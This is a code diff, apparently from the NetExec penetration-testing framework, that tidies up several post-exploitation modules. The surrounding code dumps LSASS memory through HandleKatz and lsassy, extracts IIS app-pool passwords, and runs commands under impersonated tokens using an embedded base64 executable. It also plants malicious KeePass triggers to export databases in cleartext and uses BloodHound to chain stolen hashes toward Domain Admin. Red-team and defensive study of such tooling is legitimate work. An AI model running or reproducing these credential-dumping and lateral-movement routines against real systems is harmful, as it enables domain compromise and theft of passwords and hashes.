# print("Group name: %s" % group_name)
context.log.highlight("{}".format(group_name))
context.log.highlight(f"{group_name}")
+18 -14
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# handlekatz module for nxc python3
# author of the module : github.com/mpgn
# HandleKatz: https://github.com/codewhitesec/HandleKatz
@@ -10,6 +7,7 @@ import re
import sys
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
class NXCModule:
@@ -20,13 +18,12 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/)
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@@ -52,12 +49,19 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
try:
with open(handlekatz_loc, "wb") as handlekatz:
handlekatz.write(self.handlekatz_embeded)
except FileNotFoundError:
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
sys.exit(1)
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
with open(handlekatz_loc, "rb") as handlekatz:
try:
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
@@ -73,7 +77,7 @@ class NXCModule:
p = p[0]
if not p or p == "None":
context.log.fail(f"Failed to execute command to get LSASS PID")
context.log.fail("Failed to execute command to get LSASS PID")
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -121,17 +125,17 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb")
h_out = open(self.dir_result + machine_name + ".decode", "wb")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(0, len(chunk)):
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
@@ -177,4 +181,4 @@ class NXCModule:
if len(credz_bh) > 0:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error opening dump file", str(e))
context.log.fail(f"Error opening dump file: {e}")
+28 -34
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Peter Gormington (@hackerm00n on Twitter)
import logging
from sqlite3 import connect
@@ -12,7 +10,6 @@ from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
credentials_data = []
admin_results = []
found_users = []
reported_da = []
@@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
session = driver.session()
list(session.run("MATCH (g:Group) return g LIMIT 1"))
context.log.display("Connection Successful!")
except AuthError as e:
except AuthError:
context.log.fail("Invalid credentials")
except ServiceUnavailable as e:
except ServiceUnavailable:
context.log.fail("Could not connect to neo4j database")
except Exception as e:
context.log.fail("Error querying domain admins")
@@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
def neo4j_local_admins(context, driver):
global admin_results
try:
session = driver.session()
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.fail("Could not pull admins")
exit()
admin_results = [record for record in admins.data()]
context.log.success("Admins and PCs obtained")
except Exception as e:
context.log.fail(f"Could not pull admins: {e}")
return None
return list(admins.data())
def create_db(local_admins, dbconnection, cursor):
@@ -69,16 +65,12 @@ def create_db(local_admins, dbconnection, cursor):
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
dbconnection.commit()
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -89,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -103,17 +95,17 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
paths = list(path_to_da.data())
for path in paths:
if path:
for key, value in path.items():
for value in path.values():
for item in value:
if type(item) == dict:
if isinstance(item, dict):
if {item["name"]} not in reported_da:
context.log.success(f"You have a valid path to DA as {item['name']}.")
reported_da.append({item["name"]})
@@ -147,15 +139,17 @@ class NXCModule:
self.reset = None
self.reset_dumped = None
self.method = None
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_computers(connection.host)[0][0]
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
credential_type = "plaintext"
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
@@ -173,7 +167,7 @@ class NXCModule:
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
logging.addLevelName(25, "SUCCESS")
setattr(logging, "success", lambda message, *args: ())
logging.success = lambda message, *args: ()
host = connection.host
domain_name = connection.domain
@@ -198,13 +192,13 @@ class NXCModule:
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.fail("Unable to load dump method '{}'".format(self.method))
context.log.fail(f"Unable to load dump method '{self.method}'")
return False
file = dumper.dump()
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
@@ -247,10 +241,10 @@ class NXCModule:
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
connection.domain = user[0].split("@")[1]
setattr(connection, "host", pc[0].split(".")[0])
setattr(connection, "username", user[0].split("@")[0])
setattr(connection, "nthash", user[1])
setattr(connection, "nthash", user[1])
connection.host = pc[0].split(".")[0]
connection.username = user[0].split("@")[0]
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
@@ -302,7 +296,7 @@ class NXCModule:
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
neo4j_local_admins(context, driver)
admin_results = neo4j_local_admins(context, driver)
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.display("Running lsassy")
+13 -21
View File
@@ -1,16 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
Module by Brandon Fisher @shad0wcntr0ller
"""
name = 'iis'
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -24,29 +21,26 @@ class NXCModule:
self.check_appcmd(context, connection)
def check_appcmd(self, context, connection):
if not hasattr(connection, 'has_run'):
if not hasattr(connection, "has_run"):
connection.has_run = False
if connection.has_run:
return
connection.has_run = True
try:
connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
self.execute_appcmd(context, connection)
except:
context.log.fail("appcmd.exe not found, this module is not applicable.")
except Exception as e:
context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
return
def execute_appcmd(self, context, connection):
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
lines = output.splitlines()
username = None
password = None
@@ -55,20 +49,19 @@ class NXCModule:
credentials_set = set()
for line in lines:
if 'APPPOOL.NAME:' in line:
apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
if "APPPOOL.NAME:" in line:
apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
if "userName:" in line:
username = line.split("userName:")[1].strip().strip('"')
if "password:" in line:
password = line.split("password:")[1].strip().strip('"')
if apppool_name and username is not None and password is not None:
if apppool_name and username is not None and password is not None:
current_credentials = (apppool_name, username, password)
if current_credentials not in credentials_set:
credentials_set.add(current_credentials)
if username:
context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
if password == "":
@@ -76,7 +69,6 @@ class NXCModule:
else:
context.log.highlight(f"Username: {username}, Password: {password}")
username = None
password = None
apppool_name = None
+28 -22
View File
@@ -4,31 +4,33 @@
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
from base64 import b64decode
from sys import exit
from os import path
import sys
from nxc.paths import DATA_PATH
class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
'''
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
'''
"""
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
self.impersonate_embedded = b64decode("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 truncated
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -42,32 +44,36 @@ class NXCModule:
def list_available_primary_tokens(self, _, connection):
command = f"{self.tmp_dir}Impersonate.exe list"
return connection.execute(command, True)
def on_admin_login(self, context, connection):
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/Impersonate.exe"
with open(file_to_upload, 'wb') as impersonate:
impersonate.write(self.impersonate_embedded)
try:
with open(file_to_upload, "wb") as impersonate:
impersonate.write(self.impersonate_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
else:
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
sys.exit(1)
context.log.display(f"Uploading {self.impersonate}")
with open(file_to_upload, 'rb') as impersonate:
with open(file_to_upload, "rb") as impersonate:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
context.log.success(f"Impersonate binary successfully uploaded")
context.log.success("Impersonate binary successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "" or self.token == "":
context.log.display(f"Listing available primary tokens")
context.log.display("Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token, token_integrity, token_owner = line.split(" ", 2)
@@ -81,19 +87,19 @@ class NXCModule:
impersonated_user = token_owner.strip()
break
if impersonated_user:
if impersonated_user:
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"'
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
else:
context.log.fail(f"Invalid token ID submitted")
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
context.log.success(f"Impersonate binary successfully deleted")
context.log.success("Impersonate binary successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
@@ -26,6 +23,7 @@ class NXCModule:
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
@@ -36,7 +34,6 @@ class NXCModule:
context.log.debug("[*] Retrieving network interface of " + connection.host)
# NetworkAddr = bindings[0]['aNetworkAddr']
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
+5 -12
View File
@@ -20,7 +20,7 @@ class NXCModule:
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
def options(self, context, module_options):
"""
r"""
SEARCH_TYPE Specify what to search, between:
PROCESS Look for running KeePass.exe process only
FILES Look for KeePass-related files (KeePass.config.xml, .kdbx, KeePass.exe) only, may take some time
@@ -29,7 +29,6 @@ class NXCModule:
SEARCH_PATH Comma-separated remote locations where to search for KeePass-related files (you must add single quotes around the paths if they include spaces)
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
"""
if "SEARCH_PATH" in module_options:
self.search_path = module_options["SEARCH_PATH"]
@@ -49,20 +48,14 @@ class NXCModule:
keepass_process_id = row[0]
keepass_process_username = row[1]
keepass_process_name = row[2]
context.log.highlight(
'Found process "{}" with PID {} (user {})'.format(
keepass_process_name,
keepass_process_id,
keepass_process_username,
)
)
context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})')
if row_number == 0:
context.log.display("No KeePass-related process was found")
# search for keepass-related files
if self.search_type == "ALL" or self.search_type == "FILES":
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
search_keepass_files_payload = f"Get-ChildItem -Path {self.search_path} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
search_keepass_files_cmd = f'powershell.exe "{search_keepass_files_payload}"'
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
found = False
found_xml = False
@@ -71,7 +64,7 @@ class NXCModule:
if "xml" in file:
found_xml = True
found = True
context.log.highlight("Found {}".format(file))
context.log.highlight(f"Found {file}")
if not found:
context.log.display("No KeePass-related file were found")
elif not found_xml:
+37 -47
View File
@@ -46,17 +46,17 @@ class NXCModule:
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1")) as remove_trigger_script_file:
self.remove_trigger_script_str = remove_trigger_script_file.read()
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1")) as add_trigger_script_file:
self.add_trigger_script_str = add_trigger_script_file.read()
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1")) as restart_keepass_script_file:
self.restart_keepass_script_str = restart_keepass_script_file.read()
def options(self, context, module_options):
"""
r"""
ACTION (mandatory) Performs one of the following actions, specified by the user:
ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file
CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's
@@ -74,7 +74,7 @@ class NXCModule:
USER Targeted user running KeePass, used to restart the appropriate process
(used by RESTART action)
EXPORT_NAME Name fo the database export file, default: export.xml
EXPORT_NAME Name of the database export file, default: export.xml
EXPORT_PATH Path where to export the KeePass database in cleartext
default: C:\\Users\\Public, %APPDATA% works well too for user permissions
@@ -86,7 +86,6 @@ class NXCModule:
Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.),
but they can still be easily edited in the module __init__ code if needed
"""
if "ACTION" in module_options:
if module_options["ACTION"] not in [
"ADD",
@@ -98,12 +97,12 @@ class NXCModule:
"ALL",
]:
context.log.fail("Unrecognized action, use --options to list available parameters")
exit(1)
sys.exit(1)
else:
self.action = module_options["ACTION"]
else:
context.log.fail("Missing ACTION option, use --options to list available parameters")
exit(1)
sys.exit(1)
if "KEEPASS_CONFIG_PATH" in module_options:
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
@@ -120,7 +119,7 @@ class NXCModule:
if "PSH_EXEC_METHOD" in module_options:
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
exit(1)
sys.exit(1)
else:
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
@@ -141,7 +140,6 @@ class NXCModule:
def add_trigger(self, context, connection):
"""Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1"""
# check if the specified KeePass configuration file exists
if self.trigger_added(context, connection):
